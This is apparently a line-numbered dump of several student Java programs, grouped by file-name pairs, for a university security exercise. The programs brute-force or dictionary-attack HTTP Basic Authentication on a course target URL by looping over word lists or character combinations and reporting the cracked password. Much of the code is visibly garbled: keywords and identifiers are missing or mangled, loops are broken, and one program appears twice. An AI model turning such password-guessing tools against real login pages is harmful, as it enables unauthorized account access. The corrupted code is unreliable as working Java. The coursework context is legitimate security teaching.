connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
|
708 |
+
encoding = encoder.encode (up.getBytes());
|
709 |
+
|
710 |
+
}
|
711 |
+
catch (Exception ex)
|
712 |
+
{
|
713 |
+
Base64Converter encoder = new Base64Converter();
|
714 |
+
System.out.println(""in catch"");
|
715 |
+
encoding = encoder.encode(up.getBytes());
|
716 |
+
}
|
717 |
+
connection.setRequestProperty (""Authorization"", "" "" + encoding);
|
718 |
+
connection.connect();
|
719 |
+
if(connection instanceof HttpURLConnection)
|
720 |
+
{
|
721 |
+
HttpURLConnection httpCon=(HttpURLConnection)connection;
|
722 |
+
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
|
723 |
+
{
|
724 |
+
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
|
725 |
+
doConnect(i, i+1);
|
726 |
+
}
|
727 |
+
else
|
728 |
+
{
|
729 |
+
System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
|
730 |
+
System.out.println( +""\tPassword : ""+ pword);
|
731 |
+
|
732 |
+
runTime = System.currentTimeMillis() - runTime;
|
733 |
+
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
|
734 |
+
System.exit(0);
|
735 |
+
}
|
736 |
+
}
|
737 |
+
}
|
738 |
+
}
|
739 |
+
}
|
740 |
+
catch(Exception ex)
|
741 |
+
{
|
742 |
+
ex.printStackTrace();
|
743 |
+
}
|
744 |
+
}
|
745 |
+
public Vector getPassword()
|
746 |
+
{
|
747 |
+
try
|
748 |
+
{
|
749 |
+
ReadFile rf = new ReadFile();
|
750 |
+
rf.loadFile();
|
751 |
+
v = rf.getVector();
|
752 |
+
}
|
753 |
+
catch(Exception ex)
|
754 |
+
{
|
755 |
+
ex.printStackTrace();
|
756 |
+
}
|
757 |
+
return v;
|
758 |
+
}
|
759 |
+
public void setTimeTaken( int timetaken)
|
760 |
+
{
|
761 |
+
runTime = timetaken;
|
762 |
+
}
|
763 |
+
public static void main ( String args[] ) throws IOException
|
764 |
+
{
|
765 |
+
|
766 |
+
runTime1 = System.currentTimeMillis();
|
767 |
+
Dictionary newDo = new Dictionary();
|
768 |
+
newDo.setTimeTaken(runTime1);
|
769 |
+
newDo. getPassword();
|
770 |
+
String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
|
771 |
+
newDo.doConnect(site, 0);
|
772 |
+
|
773 |
+
}
|
774 |
+
|
775 |
+
}
|
776 |
+
|
777 |
+
class Base64Converter
|
778 |
+
{
|
779 |
+
|
780 |
+
public final char [ ] alphabet = {
|
781 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
782 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
783 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
784 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
785 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
786 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
787 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
788 |
+
'4', '5', '6', '7', '8', '9', '+', '/' };
|
789 |
+
|
790 |
+
|
791 |
+
public String encode ( String s )
|
792 |
+
{
|
793 |
+
return encode ( s.getBytes ( ) );
|
794 |
+
}
|
795 |
+
|
796 |
+
public String encode ( byte [ ] octetString )
|
797 |
+
{
|
798 |
+
int bits24;
|
799 |
+
int bits6;
|
800 |
+
|
801 |
+
char [ ] out
|
802 |
+
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
|
803 |
+
|
804 |
+
int outIndex = 0;
|
805 |
+
int i = 0;
|
806 |
+
|
807 |
+
while ( ( i + 3 ) <= octetString.length ) {
|
808 |
+
|
809 |
+
bits24=( octetString [ i++ ] & 0xFF ) << 16;
|
810 |
+
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
|
811 |
+
|
812 |
+
bits6=( bits24 & 0x00FC0000 )>> 18;
|
813 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
814 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
815 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
816 |
+
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
|
817 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
818 |
+
bits6 = ( bits24 & 0x0000003F );
|
819 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
820 |
+
}
|
821 |
+
|
822 |
+
if ( octetString.length - i == 2 )
|
823 |
+
{
|
824 |
+
|
825 |
+
bits24 = ( octetString [ i ] & 0xFF ) << 16;
|
826 |
+
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
|
827 |
+
bits6=( bits24 & 0x00FC0000 )>> 18;
|
828 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
829 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
830 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
831 |
+
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
|
832 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
833 |
+
|
834 |
+
|
835 |
+
out [ outIndex++ ] = '=';
|
836 |
+
}
|
837 |
+
else if ( octetString.length - i == 1 )
|
838 |
+
{
|
839 |
+
|
840 |
+
bits24 = ( octetString [ i ] & 0xFF ) << 16;
|
841 |
+
bits6=( bits24 & 0x00FC0000 )>> 18;
|
842 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
843 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
844 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
845 |
+
|
846 |
+
|
847 |
+
out [ outIndex++ ] = '=';
|
848 |
+
out [ outIndex++ ] = '=';
|
849 |
+
}
|
850 |
+
|
851 |
+
return new String ( out );
|
852 |
+
}
|
853 |
+
}
|
854 |
+
|
855 |
+
|
856 |
+
" "257.java 258.java"
|
857 |
+
108.java "
|
858 |
+
|
859 |
+
|
860 |
+
|
861 |
+
|
862 |
+
import java.io.InputStream;
|
863 |
+
import java.util.Properties;
|
864 |
+
|
865 |
+
import javax.naming.Context;
|
866 |
+
import javax.naming.InitialContext;
|
867 |
+
import javax.rmi.PortableRemoteObject;
|
868 |
+
import javax.sql.DataSource;
|
869 |
+
|
870 |
+
|
871 |
+
|
872 |
+
public class DictionaryPropertyHelper {
|
873 |
+
|
874 |
+
private static Properties dictProps;
|
875 |
+
|
876 |
+
|
877 |
+
|
878 |
+
public DictionaryPropertyHelper() {
|
879 |
+
}
|
880 |
+
|
881 |
+
|
882 |
+
|
883 |
+
public static String getProperty(String pKey){
|
884 |
+
try{
|
885 |
+
initProps();
|
886 |
+
}
|
887 |
+
catch(Exception e){
|
888 |
+
System.err.println(""Error init'ing the dictionary Props"");
|
889 |
+
e.printStackTrace();
|
890 |
+
}
|
891 |
+
return dictProps.getProperty(pKey);
|
892 |
+
}
|
893 |
+
|
894 |
+
|
895 |
+
private static void initProps() throws Exception{
|
896 |
+
if(dictProps == null){
|
897 |
+
dictProps = new Properties();
|
898 |
+
|
899 |
+
InputStream fis =
|
900 |
+
DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
|
901 |
+
dictProps.load(fis);
|
902 |
+
}
|
903 |
+
}
|
904 |
+
}
|
905 |
+
|
906 |
+
" "113.java 112.java"
|
907 |
+
133.java "
|
908 |
+
import java.net.*;
|
909 |
+
import java.io.*;
|
910 |
+
|
911 |
+
|
912 |
+
public class Dictionary
|
913 |
+
{
|
914 |
+
private String myUsername = """";
|
915 |
+
private String myPassword = """";
|
916 |
+
private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";
|
917 |
+
|
918 |
+
|
919 |
+
public static void main (String args[])
|
920 |
+
{
|
921 |
+
Dictionary d = new Dictionary();
|
922 |
+
}
|
923 |
+
|
924 |
+
public Dictionary()
|
925 |
+
{
|
926 |
+
generatePassword();
|
927 |
+
}
|
928 |
+
|
929 |
+
|
930 |
+
|
931 |
+
public void generatePassword()
|
932 |
+
{
|
933 |
+
try
|
934 |
+
{
|
935 |
+
BufferedReader = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
|
936 |
+
|
937 |
+
|
938 |
+
{
|
939 |
+
myPassword = bf.readLine();
|
940 |
+
crackPassword(myPassword);
|
941 |
+
} while (myPassword != null);
|
942 |
+
}
|
943 |
+
catch(IOException e)
|
944 |
+
{ }
|
945 |
+
}
|
946 |
+
|
947 |
+
|
948 |
+
|
949 |
+
|
950 |
+
public void crackPassword(String passwordToCrack)
|
951 |
+
{
|
952 |
+
String data, dataToEncode, encodedData;
|
953 |
+
|
954 |
+
try
|
955 |
+
{
|
956 |
+
URL url = new URL (urlToCrack);
|
957 |
+
|
958 |
+
|
959 |
+
|
960 |
+
dataToEncode = myUsername + "":"" + passwordToCrack;
|
961 |
+
|
962 |
+
|
963 |
+
|
964 |
+
encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
|
965 |
+
|
966 |
+
URLConnection urlCon = url.openConnection();
|
967 |
+
urlCon.setRequestProperty (""Authorization"", "" "" + encodedData);
|
968 |
+
|
969 |
+
InputStream is = (InputStream)urlCon.getInputStream();
|
970 |
+
InputStreamReader isr = new InputStreamReader(is);
|
971 |
+
BufferedReader bf = new BufferedReader (isr);
|
972 |
+
|
973 |
+
|
974 |
+
{
|
975 |
+
data = bf.readLine();
|
976 |
+
System.out.println(data);
|
977 |
+
displayPassword(passwordToCrack);
|
978 |
+
} while (data != null);
|
979 |
+
}
|
980 |
+
catch (IOException e)
|
981 |
+
{ }
|
982 |
+
}
|
983 |
+
|
984 |
+
|
985 |
+
public void displayPassword(String foundPassword)
|
986 |
+
{
|
987 |
+
System.out.println(""\nThe cracked password is : "" + foundPassword);
|
988 |
+
System.exit(0);
|
989 |
+
}
|
990 |
+
}
|
991 |
+
|
992 |
+
|
993 |
+
" 131.java
|
994 |
+
183.java "
|
995 |
+
|
996 |
+
import java.awt.*;
|
997 |
+
import java.awt.event.*;
|
998 |
+
import java.io.*;
|
999 |
+
import java.net.*;
|
1000 |
+
|
1001 |
+
public class BruteForce extends Frame implements ActionListener {
|
1002 |
+
private TextField tf = new TextField();
|
1003 |
+
private TextArea ta = new TextArea();
|
1004 |
+
|
1005 |
+
public void actionPerformed (ActionEvent e) {
|
1006 |
+
String s = tf.getText();
|
1007 |
+
String login="""";
|
1008 |
+
|
1009 |
+
if (s.length() != 0)
|
1010 |
+
{
|
1011 |
+
char symbol = 'A';
|
1012 |
+
|
1013 |
+
login="":"";
|
1014 |
+
|
1015 |
+
for(int i = 0; i < 3; i++)
|
1016 |
+
{
|
1017 |
+
symbol = (char)(57.0 * Math.random() + 65);
|
1018 |
+
|
1019 |
+
if(symbol>90 && symbol<97){
|
1020 |
+
i--;
|
1021 |
+
continue;
|
1022 |
+
}
|
1023 |
+
login=login+symbol;
|
1024 |
+
|
1025 |
+
}
|
1026 |
+
|
1027 |
+
ta.setText (fetchURL (s,login));
|
1028 |
+
System.out.println(""runing""+login);
|
1029 |
+
}while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0);
|
1030 |
+
|
1031 |
+
System.out.println(""The password is: ""+login);
|
1032 |
+
}
|
1033 |
+
|
1034 |
+
public BruteForce() {
|
1035 |
+
super (""SEC-CRACK"");
|
1036 |
+
|
1037 |
+
|
1038 |
+
add (tf, BorderLayout.LEFT);
|
1039 |
+
ta.setEditable(false);
|
1040 |
+
add (ta, BorderLayout.CENTER);
|
1041 |
+
tf.addActionListener (this);
|
1042 |
+
|
1043 |
+
addWindowListener (new WindowAdapter() {
|
1044 |
+
public void windowClosing (WindowEvent e) {
|
1045 |
+
dispose();
|
1046 |
+
System.exit(0);
|
1047 |
+
}
|
1048 |
+
});
|
1049 |
+
}
|
1050 |
+
|
1051 |
+
private String fetchURL (String urlString,String login) {
|
1052 |
+
StringWriter sw = new StringWriter();
|
1053 |
+
PrintWriter pw = new PrintWriter();
|
1054 |
+
|
1055 |
+
try {
|
1056 |
+
URL url = new URL (urlString);
|
1057 |
+
|
1058 |
+
|
1059 |
+
|
1060 |
+
|
1061 |
+
|
1062 |
+
|
1063 |
+
String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
|
1064 |
+
|
1065 |
+
|
1066 |
+
URLConnection uc = url.openConnection();
|
1067 |
+
uc.setRequestProperty (""Authorization"", "" "" + encoding);
|
1068 |
+
InputStream content = (InputStream)uc.getInputStream();
|
1069 |
+
BufferedReader in =
|
1070 |
+
new BufferedReader (new InputStreamReader (content));
|
1071 |
+
String line;
|
1072 |
+
while ((line = in.readLine()) != null) {
|
1073 |
+
pw.println (line);
|
1074 |
+
}
|
1075 |
+
} catch (MalformedURLException e) {
|
1076 |
+
pw.println (""Invalid URL"");
|
1077 |
+
} catch (IOException e) {
|
1078 |
+
pw.println (""Error URL"");
|
1079 |
+
}
|
1080 |
+
return sw.toString();
|
1081 |
+
}
|
1082 |
+
|
1083 |
+
|
1084 |
+
public static void main(String args[]) {
|
1085 |
+
Frame f = new BruteForce();
|
1086 |
+
f.setSize(300, 300);
|
1087 |
+
f.setVisible (true);
|
1088 |
+
}
|
1089 |
+
}
|
1090 |
+
|
1091 |
+
|
1092 |
+
|
1093 |
+
|
1094 |
+
class Base64Converter
|
1095 |
+
{
|
1096 |
+
public static final char [ ] alphabet = {
|
1097 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
1098 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
1099 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
1100 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
1101 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
1102 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
1103 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
1104 |
+
'4', '5', '6', '7', '8', '9', '+', '/' };
|
1105 |
+
|
1106 |
+
|
1107 |
+
public static String encode ( String s )
|
1108 |
+
{
|
1109 |
+
return encode ( s.getBytes ( ) );
|
1110 |
+
}
|
1111 |
+
|
1112 |
+
public static String encode ( byte [ ] octetString )
|
1113 |
+
{
|
1114 |
+
int bits24;
|
1115 |
+
int bits6;
|
1116 |
+
|
1117 |
+
char [ ] out
|
1118 |
+
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
|
1119 |
+
|
1120 |
+
int outIndex = 0;
|
1121 |
+
int i = 0;
|
1122 |
+
|
1123 |
+
while ( ( i + 3 ) <= octetString.length )
|
1124 |
+
{
|
1125 |
+
|
1126 |
+
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
|
1127 |
+
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
|
1128 |
+
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
|
1129 |
+
|
1130 |
+
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
|
1131 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1132 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
1133 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1134 |
+
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
|
1135 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1136 |
+
bits6 = ( bits24 & 0x0000003F );
|
1137 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1138 |
+
}
|
1139 |
+
|
1140 |
+
if ( octetString.length - i == 2 )
|
1141 |
+
{
|
1142 |
+
|
1143 |
+
bits24 = ( octetString [ i ] & 0xFF ) << 16;
|
1144 |
+
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
|
1145 |
+
|
1146 |
+
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
|
1147 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1148 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
1149 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1150 |
+
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
|
1151 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1152 |
+
|
1153 |
+
|
1154 |
+
out [ outIndex++ ] = '=';
|
1155 |
+
}
|
1156 |
+
else if ( octetString.length - i == 1 )
|
1157 |
+
{
|
1158 |
+
|
1159 |
+
bits24 = ( octetString [ i ] & 0xFF ) << 16;
|
1160 |
+
|
1161 |
+
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
|
1162 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1163 |
+
bits6 = ( bits24 & 0x0003F000 ) >> 12;
|
1164 |
+
out [ outIndex++ ] = alphabet [ bits6 ];
|
1165 |
+
|
1166 |
+
|
1167 |
+
out [ outIndex++ ] = '=';
|
1168 |
+
out [ outIndex++ ] = '=';
|
1169 |
+
}
|
1170 |
+
|
1171 |
+
return new String ( out );
|
1172 |
+
}
|
1173 |
+
}
|
1174 |
+
|
1175 |
+
" 059.java
|
1176 |
+
086.java "import java.net.*;
|
1177 |
+
import java.io.*;
|
1178 |
+
import java.*;
|
1179 |
+
|
1180 |
+
public class BruteForce {
|
1181 |
+
|
1182 |
+
URLConnection conn = null;
|
1183 |
+
private static boolean status = false;
|
1184 |
+
|
1185 |
+
public static void main (String args[]){
|
1186 |
+
BruteForce a = new BruteForce();
|
1187 |
+
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
|
1188 |
+
"""",
|
1189 |
+
""""};
|
1190 |
+
int attempts = 0;
|
1191 |
+
exit:
|
1192 |
+
for (int i=0;i<pwdArray.length;i++) {
|
1193 |
+
for (int j=0;j<pwdArray.length;j++) {
|
1194 |
+
for (int k=0;k<pwdArray.length;k++) {
|
1195 |
+
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
|
1196 |
+
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
|
1197 |
+
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
|
1198 |
+
attempts++;
|
1199 |
+
a.doit(inp);
|
1200 |
+
|
1201 |
+
if (status) {
|
1202 |
+
System.out.println(""Crrect password is: "" + inp[2]);
|
1203 |
+
System.out.println(""Number of attempts = "" + attempts);
|
1204 |
+
break exit;
|
1205 |
+
}
|
1206 |
+
inp[2] = """";
|
1207 |
+
}
|
1208 |
+
}
|
1209 |
+
}
|
1210 |
+
}
|
1211 |
+
|
1212 |
+
public void doit(String args[]) {
|
1213 |
+
|
1214 |
+
try {
|
1215 |
+
BufferedReader in = new BufferedReader(
|
1216 |
+
new InputStreamReader
|
1217 |
+
(connectURL(new URL(args[0]), args[1], args[2])));
|
1218 |
+
String line;
|
1219 |
+
while ((line = in.readLine()) != null) {
|
1220 |
+
System.out.println(line);
|
1221 |
+
status = true;
|
1222 |
+
}
|
1223 |
+
}
|
1224 |
+
catch (IOException e) {
|
1225 |
+
|
1226 |
+
}
|
1227 |
+
}
|
1228 |
+
|
1229 |
+
public InputStream connectURL (URL url, String uname, String pword)
|
1230 |
+
throws IOException {
|
1231 |
+
conn = url.openConnection();
|
1232 |
+
conn.setRequestProperty (""Authorization"",
|
1233 |
+
userNamePasswordBase64(uname,pword));
|
1234 |
+
conn.connect ();
|
1235 |
+
return conn.getInputStream();
|
1236 |
+
}
|
1237 |
+
|
1238 |
+
public String userNamePasswordBase64(String username, String password) {
|
1239 |
+
return "" "" + base64Encode (username + "":"" + password);
|
1240 |
+
}
|
1241 |
+
|
1242 |
+
private final static char pwdArray [] = {
|
1243 |
+
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
|
1244 |
+
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
|
1245 |
+
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
|
1246 |
+
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
|
1247 |
+
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
|
1248 |
+
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
|
1249 |
+
'W', 'X', 'Y', 'Z', ' '
|
1250 |
+
};
|
1251 |
+
|
1252 |
+
private final static char base64Array [] = {
|
1253 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
1254 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
1255 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
1256 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
1257 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
1258 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
1259 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
1260 |
+
'4', '5', '6', '7', '8', '9', '+', '/'
|
1261 |
+
};
|
1262 |
+
|
1263 |
+
private static String base64Encode (String string) {
|
1264 |
+
String encodedString = """";
|
1265 |
+
byte bytes [] = string.getBytes ();
|
1266 |
+
int i = 0;
|
1267 |
+
int pad = 0;
|
1268 |
+
while (i < bytes.length) {
|
1269 |
+
byte b1 = bytes [i++];
|
1270 |
+
byte b2;
|
1271 |
+
byte b3;
|
1272 |
+
if (i >= bytes.length) {
|
1273 |
+
b2 = 0;
|
1274 |
+
b3 = 0;
|
1275 |
+
pad = 2;
|
1276 |
+
}
|
1277 |
+
else {
|
1278 |
+
b2 = bytes [i++];
|
1279 |
+
if (i >= bytes.length) {
|
1280 |
+
b3 = 0;
|
1281 |
+
pad = 1;
|
1282 |
+
}
|
1283 |
+
else
|
1284 |
+
b3 = bytes [i++];
|
1285 |
+
}
|
1286 |
+
byte c1 = (byte)(b1 >> 2);
|
1287 |
+
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
|
1288 |
+
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
|
1289 |
+
byte c4 = (byte)(b3 & 0x3f);
|
1290 |
+
encodedString += base64Array [c1];
|
1291 |
+
encodedString += base64Array [c2];
|
1292 |
+
switch (pad) {
|
1293 |
+
case 0:
|
1294 |
+
encodedString += base64Array [c3];
|
1295 |
+
encodedString += base64Array [c4];
|
1296 |
+
break;
|
1297 |
+
case 1:
|
1298 |
+
encodedString += base64Array [c3];
|
1299 |
+
encodedString += ""="";
|
1300 |
+
break;
|
1301 |
+
case 2:
|
1302 |
+
encodedString += ""=="";
|
1303 |
+
break;
|
1304 |
+
}
|
1305 |
+
}
|
1306 |
+
return encodedString;
|
1307 |
+
}
|
1308 |
+
}
|
1309 |
+
|
1310 |
+
" "155.java 087.java 243.java"
|
1311 |
+
021.java "
|
1312 |
+
|
1313 |
+
|
1314 |
+
|
1315 |
+
import java.util.*;
|
1316 |
+
import java.net.*;
|
1317 |
+
import java.io.*;
|
1318 |
+
import misc.BASE64Encoder;
|
1319 |
+
import javax.swing.*;
|
1320 |
+
|
1321 |
+
public class ConnectionThread extends Thread
|
1322 |
+
{
|
1323 |
+
private String url;
|
1324 |
+
private URL currURL;
|
1325 |
+
private URLConnection conn;
|
1326 |
+
private HoldSharedData sharedData;
|
1327 |
+
private int noOfThread;
|
1328 |
+
private int batch;
|
1329 |
+
|
1330 |
+
public ConnectionThread( String pageURL, int wThread,
|
1331 |
+
int newBatch, HoldSharedData data )
|
1332 |
+
{
|
1333 |
+
super();
|
1334 |
+
url = pageURL;
|
1335 |
+
noOfThread = wThread;
|
1336 |
+
batch = newBatch;
|
1337 |
+
sharedData = data;
|
1338 |
+
}
|
1339 |
+
|
1340 |
+
|
1341 |
+
public void run()
|
1342 |
+
{
|
1343 |
+
try
|
1344 |
+
{
|
1345 |
+
currURL = new URL( url );
|
1346 |
+
|
1347 |
+
for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
|
1348 |
+
(i < sharedData.getPwdCount()); i ++ )
|
1349 |
+
{
|
1350 |
+
String pwd = sharedData.getPasswordAt( i );
|
1351 |
+
|
1352 |
+
conn = currURL.openConnection();
|
1353 |
+
|
1354 |
+
if (conn instanceof HttpURLConnection)
|
1355 |
+
{
|
1356 |
+
HttpURLConnection hconn = (HttpURLConnection) conn;
|
1357 |
+
hconn.setFollowRedirects(false);
|
1358 |
+
String cad = "" "" + based64Encoder( "":"" + pwd );
|
1359 |
+
hconn.setRequestProperty( ""Authorization"", cad );
|
1360 |
+
|
1361 |
+
hconn.connect();
|
1362 |
+
int response = hconn.getResponseCode();
|
1363 |
+
sharedData.setNumOfConnections();
|
1364 |
+
|
1365 |
+
if( response == 200 )
|
1366 |
+
{
|
1367 |
+
totalTime = System.currentTimeMillis() -
|
1368 |
+
sharedData.getStartTime();
|
1369 |
+
int numOfConnections = sharedData.getNumOfConnections();
|
1370 |
+
|
1371 |
+
System.out.println( ""Password is "" + pwd );
|
1372 |
+
System.out.println( ""Total Time(seconds)= "" +
|
1373 |
+
(double)totalTime/1000 );
|
1374 |
+
System.out.println( ""Total Number Of Connections: "" +
|
1375 |
+
numOfConnections );
|
1376 |
+
System.exit(0);
|
1377 |
+
}
|
1378 |
+
else
|
1379 |
+
{
|
1380 |
+
hconn.disconnect();
|
1381 |
+
}
|
1382 |
+
}
|
1383 |
+
}
|
1384 |
+
}
|
1385 |
+
catch( MalformedURLException mue )
|
1386 |
+
{
|
1387 |
+
String msg = ""Unable parse URL: "" + url;
|
1388 |
+
System.err.println( msg );
|
1389 |
+
}
|
1390 |
+
catch( IOException ioe )
|
1391 |
+
{
|
1392 |
+
System.err.println( ""I/O Error : "" + ioe );
|
1393 |
+
}
|
1394 |
+
}
|
1395 |
+
|
1396 |
+
private String based64Encoder( String pwd )
|
1397 |
+
{
|
1398 |
+
|
1399 |
+
String str = pwd;
|
1400 |
+
byte[] buf = str.getBytes();
|
1401 |
+
String encodedStr = new misc.BASE64Encoder().encode(buf);
|
1402 |
+
|
1403 |
+
|
1404 |
+
return encodedStr;
|
1405 |
+
}
|
1406 |
+
} " 014.java
|
1407 |
+
051.java "import java.io.*;
|
1408 |
+
import java.net.*;
|
1409 |
+
import java.*;
|
1410 |
+
import java.Runtime.*;
|
1411 |
+
import java.Object.*;
|
1412 |
+
import java.util.*;
|
1413 |
+
import java.util.StringTokenizer;
|
1414 |
+
|
1415 |
+
public class Dictionary
|
1416 |
+
{
|
1417 |
+
String uname = """";
|
1418 |
+
String pword = ""null"";
|
1419 |
+
Vector v = new Vector();
|
1420 |
+
int runTime;
|
1421 |
+
public void doConnect(String connect, int num)
|
1422 |
+
{
|
1423 |
+
String = connect;
|
1424 |
+
|
1425 |
+
try
|
1426 |
+
{
|
1427 |
+
URL secureSite = new URL();
|
1428 |
+
URLConnection connection = secureSite.openConnection();
|
1429 |
+
if (uname != null || pword != null)
|
1430 |
+
{
|
1431 |
+
|
1432 |
+
for(int i=num; i<v.size(); i++)
|
1433 |
+
{
|
1434 |
+
pword = (String)v.elementAt(i);
|
1435 |
+
String up = uname + "":"" + pword;
|
1436 |
+
String encoding;
|
1437 |
+
try
|
1438 |
+
{
|
1439 |
+
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
|
1440 |
+
encoding = encoder.encode (up.getBytes());
|
1441 |
+
|
1442 |
+
}
|
1443 |
+
catch (Exception ex)
|
1444 |
+
{
|
1445 |
+
Base64Converter encoder = new Base64Converter();
|
1446 |
+
System.out.println(""in catch"");
|
1447 |
+
encoding = encoder.encode(up.getBytes());
|
1448 |
+
}
|
1449 |
+
connection.setRequestProperty (""Authorization"", "" "" + encoding);
|
1450 |
+
connection.connect();
|
1451 |
+
if(connection instanceof HttpURLConnection)
|
1452 |
+
{
|
1453 |
+
HttpURLConnection httpCon=(HttpURLConnection)connection;
|
1454 |
+
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
|
1455 |
+
{
|
1456 |
+
System.out.println(""Not authorized - check for details"" + "" -Incorrect Password : "" + pword);
|
1457 |
+
doConnect(i, i+1);
|
1458 |
+
}
|
1459 |
+
else
|
1460 |
+
{
|
1461 |
+
System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
|
1462 |
+
System.out.println( +""\tPassword : ""+ pword);
|
1463 |
+
|
1464 |
+
runTime = System.currentTimeMillis() - runTime;
|
1465 |
+
System.out.println(""Time taken crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken crack password : ""+ i);
|
1466 |
+
System.exit(0);
|
1467 |
+
}
|
1468 |
+
}
|
1469 |
+
}
|
1470 |
+
}
|
1471 |
+
}
|
1472 |
+
catch(Exception ex)
|
1473 |
+
{
|
1474 |
+
ex.printStackTrace();
|
1475 |
+
}
|
1476 |
+
}
|
1477 |
+
public Vector getPassword()
|
1478 |
+
{
|
1479 |
+
try
|
1480 |
+
{
|
1481 |
+
ReadFile rf = new ReadFile();
|
1482 |
+
rf.loadFile();
|
1483 |
+
v = rf.getVector();
|
1484 |
+
}
|
1485 |
+
catch(Exception ex)
|
1486 |
+
{
|
1487 |
+
ex.printStackTrace();
|
1488 |
+
}
|
1489 |
+
return v;
|
1490 |
+
}
|
1491 |
+
public void setTimeTaken( int timetaken)
|
1492 |
+
{
|
1493 |
+
runTime = timetaken;
|
1494 |
+
}
|
1495 |
+
public static void main ( String args[] ) throws IOException
|
1496 |
+
{
|
1497 |
+
|
1498 |
+
runTime1 = System.currentTimeMillis();
|
